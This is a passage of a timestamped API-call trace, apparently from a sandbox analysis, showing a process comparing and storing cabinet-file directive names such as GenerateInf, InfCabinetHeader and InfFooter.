_Str2="GenerateInf") returned -3 [0101.668] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0101.668] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0101.668] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0101.668] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0101.668] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0101.668] atoi (_Str="1") returned 1 [0101.668] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="GenerateInf") returned 11 [0101.668] atoi (_Str="1") returned 1 [0101.668] malloc (_Size=0x38) returned 0x325980 [0101.668] _strcmpi (_Str1="On", _Str2="No") returned 1 [0101.668] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0101.668] _strcmpi (_Str1="On", _Str2="False") returned 9 [0101.668] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0101.668] _strcmpi (_Str1="On", _Str2="On") returned 0 [0101.668] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0101.668] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0101.669] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0101.669] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0101.669] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0101.669] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0101.669] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0101.669] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0101.669] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0101.669] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0101.669] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0101.669] atoi (_Str="1") returned 1 [0101.669] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfCabinetHeader") returned 16 [0101.669] atoi (_Str="1") returned 1 [0101.669] malloc (_Size=0x38) returned 0x327800 [0101.669] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="Compress", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetLineFormat") returned -6 [0101.669] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetLineFormat") returned -5 [0101.669] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetLineFormat") returned -5 [0101.669] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetLineFormat") returned -5 [0101.669] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetLineFormat") returned -5 [0101.670] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetLineFormat") returned -3 [0101.670] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetLineFormat") returned -3 [0101.670] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetLineFormat") returned -2 [0101.670] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetLineFormat") returned -4 [0101.670] atoi (_Str="1") returned 1 [0101.670] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfCabinetLineFormat") returned 20 [0101.670] atoi (_Str="1") returned 1 [0101.670] malloc (_Size=0x38) returned 0x327840 [0101.670] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CompressionLevel", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0101.670] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0101.670] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0101.670] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0101.670] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0101.670] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0101.670] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0101.670] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0101.670] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0101.670] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0101.670] atoi (_Str="1") returned 1 [0101.671] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfCommentString") returned 16 [0101.671] atoi (_Str="1") returned 1 [0101.671] malloc (_Size=0x38) returned 0x327880 [0101.671] _strcmpi (_Str1="Cabinet", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="ClusterSize", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="Compress", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CompressionType", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CompressionLevel", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="CompressionMemory", _Str2="InfDateFormat") returned -6 [0101.671] _strcmpi (_Str1="DestinationDir", _Str2="InfDateFormat") returned -5 [0101.671] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDateFormat") returned -5 [0101.671] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDateFormat") returned -5 [0101.671] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDateFormat") returned -5 [0101.671] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDateFormat") returned -3 [0101.671] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDateFormat") returned -3 [0101.671] _strcmpi (_Str1="GenerateInf", _Str2="InfDateFormat") returned -2 [0101.671] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDateFormat") returned -1 [0101.671] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDateFormat") returned -1 [0101.672] _strcmpi (_Str1="InfCommentString", _Str2="InfDateFormat") returned -1 [0101.672] atoi (_Str="1") returned 1 [0101.672] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfDateFormat") returned 13 [0101.672] atoi (_Str="1") returned 1 [0101.672] malloc (_Size=0x38) returned 0x3278c0 [0101.672] _strcmpi (_Str1="mm/dd/yy", _Str2="mm/dd/yy") returned 0 [0101.672] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader") returned -6 [0101.672] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader") returned -5 [0101.672] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader") returned -5 [0101.672] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader") returned -5 [0101.672] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader") returned -5 [0101.672] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader") returned -3 [0101.672] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader") returned -3 [0101.672] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader") returned -2 [0101.672] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader") returned -1 [0101.672] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader") returned -1 [0101.672] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader") returned -1 [0101.672] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader") returned -8 [0101.672] atoi (_Str="1") returned 1 [0101.672] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfDiskHeader") returned 13 [0101.672] atoi (_Str="1") returned 1 [0101.673] malloc (_Size=0x38) returned 0x327900 [0101.673] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0101.673] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0101.673] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0101.673] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0101.673] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0101.673] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0101.673] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0101.673] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0101.673] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0101.673] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskLineFormat") returned -1 [0101.673] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskLineFormat") returned -1 [0101.673] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskLineFormat") returned -8 [0101.673] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskLineFormat") returned -4 [0101.673] atoi (_Str="1") returned 1 [0101.673] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfDiskLineFormat") returned 17 [0101.673] atoi (_Str="1") returned 1 [0101.673] malloc (_Size=0x38) returned 0x327940 [0101.673] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader") returned -6 [0101.673] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader") returned -6 [0101.673] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="Compress", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader") returned -6 [0101.674] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader") returned -5 [0101.674] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader") returned -5 [0101.674] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader") returned -5 [0101.674] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader") returned -5 [0101.674] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader") returned -3 [0101.674] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader") returned -3 [0101.674] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader") returned -2 [0101.674] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader") returned -3 [0101.674] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader") returned -3 [0101.674] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader") returned -3 [0101.674] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader") returned -2 [0101.674] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader") returned -2 [0101.674] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader") returned -2 [0101.674] atoi (_Str="1") returned 1 [0101.674] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFileHeader") returned 13 [0101.674] atoi (_Str="1") returned 1 [0101.674] malloc (_Size=0x38) returned 0x327980 [0101.674] _strcmpi (_Str1="Cabinet", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="ClusterSize", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="Compress", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CompressionType", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileLineFormat") returned -6 [0101.674] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileLineFormat") returned -6 [0101.675] _strcmpi (_Str1="DestinationDir", _Str2="InfFileLineFormat") returned -5 [0101.675] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileLineFormat") returned -5 [0101.675] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileLineFormat") returned -5 [0101.675] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileLineFormat") returned -5 [0101.675] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileLineFormat") returned -3 [0101.675] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileLineFormat") returned -3 [0101.675] _strcmpi (_Str1="GenerateInf", _Str2="InfFileLineFormat") returned -2 [0101.675] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileLineFormat") returned -3 [0101.675] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileLineFormat") returned -3 [0101.675] _strcmpi (_Str1="InfCommentString", _Str2="InfFileLineFormat") returned -3 [0101.675] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileLineFormat") returned -2 [0101.675] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileLineFormat") returned -2 [0101.675] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileLineFormat") returned -2 [0101.675] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileLineFormat") returned -4 [0101.675] atoi (_Str="1") returned 1 [0101.675] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFileLineFormat") returned 17 [0101.675] atoi (_Str="1") returned 1 [0101.675] malloc (_Size=0x38) returned 0x3279c0 [0101.675] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0101.675] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0101.675] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0101.675] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0101.675] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0101.675] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0101.675] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0101.676] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0101.676] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0101.676] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0101.676] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0101.676] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0101.676] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0101.676] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileName") returned -2 [0101.676] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileName") returned -6 [0101.676] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileName") returned -2 [0101.676] atoi (_Str="1") returned 1 [0101.676] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFileName") returned 11 [0101.676] atoi (_Str="1") returned 1 [0101.676] malloc (_Size=0x38) returned 0x327a00 [0101.676] _strcmpi (_Str1="Cabinet", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="Compress", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CompressionType", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter") returned -6 [0101.676] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter") returned -5 [0101.676] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter") returned -5 [0101.676] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter") returned -5 [0101.676] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter") returned -5 [0101.676] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter") returned -3 [0101.676] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter") returned -3 [0101.676] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter") returned -2 [0101.676] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter") returned -3 [0101.676] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter") returned -3 [0101.676] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter") returned -3 [0101.676] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter") returned -2 [0101.677] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter") returned -2 [0101.677] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter") returned -2 [0101.677] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter") returned -6 [0101.677] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter") returned -6 [0101.677] _strcmpi (_Str1="InfFileName", _Str2="InfFooter") returned -6 [0101.677] atoi (_Str="1") returned 1 [0101.677] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFooter") returned 9 [0101.677] atoi (_Str="1") returned 1 [0101.677] malloc (_Size=0x38) returned 0x327a40 [0101.677] _strcmpi (_Str1="Cabinet", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="Compress", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CompressionType", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter1") returned -6 [0101.677] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter1") returned -5 [0101.677] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter1") returned -5 [0101.677] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter1") returned -5 [0101.677] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter1") returned -5 [0101.677] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter1") returned -3 [0101.677] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter1") returned -3 [0101.677] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter1") returned -2 [0101.677] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter1") returned -3 [0101.678] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter1") returned -3 [0101.678] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter1") returned -3 [0101.678] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter1") returned -2 [0101.678] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter1") returned -2 [0101.678] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter1") returned -2 [0101.678] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter1") returned -6 [0101.678] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter1") returned -6 [0101.678] _strcmpi (_Str1="InfFileName", _Str2="InfFooter1") returned -6 [0101.678] _strcmpi (_Str1="InfFooter", _Str2="InfFooter1") returned -49 [0101.678] atoi (_Str="1") returned 1 [0101.678] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFooter1") returned 10 [0101.678] atoi (_Str="1") returned 1 [0101.678] malloc (_Size=0x38) returned 0x327a80 [0101.678] _strcmpi (_Str1="Cabinet", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="Compress", _Str2="InfFooter2") returned -6 [0101.678] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter2") returned -6 [0101.678] atoi (_Str="1") returned 1 [0101.678] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFooter2") returned 10 [0101.678] atoi (_Str="1") returned 1 [0101.678] malloc (_Size=0x38) returned 0x327ac0 [0101.679] atoi (_Str="1") returned 1 [0101.679] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFooter3") returned 10 [0101.679] atoi (_Str="1") returned 1 [0101.679] malloc (_Size=0x38) returned 0x327b40 [0101.679] atoi (_Str="1") returned 1 [0101.679] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfFooter4") returned 10 [0101.679] atoi (_Str="1") returned 1 [0101.679] malloc (_Size=0x38) returned 0x327b80 [0101.679] atoi (_Str="1") returned 1 [0101.679] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader") returned 9 [0101.679] atoi (_Str="1") returned 1 [0101.679] malloc (_Size=0x38) returned 0x327bc0 [0101.679] atoi (_Str="1") returned 1 [0101.679] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader1") returned 10 [0101.679] atoi (_Str="1") returned 1 [0101.679] malloc (_Size=0x38) returned 0x327c00 [0101.680] atoi (_Str="1") returned 1 [0101.680] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader2") returned 10 [0101.680] atoi (_Str="1") returned 1 [0101.680] malloc (_Size=0x38) returned 0x327c40 [0101.680] atoi (_Str="1") returned 1 [0101.680] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader3") returned 10 [0101.680] atoi (_Str="1") returned 1 [0101.680] malloc (_Size=0x38) returned 0x327cc0 [0101.680] atoi (_Str="1") returned 1 [0101.680] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="InfHeader4") returned 10 [0101.680] atoi (_Str="1") returned 1 [0101.680] malloc (_Size=0x38) returned 0x327d00 [0101.680] atoi (_Str="1") returned 1 [0101.680] _vsnprintf (in: _DstBuf=0x1ff290, 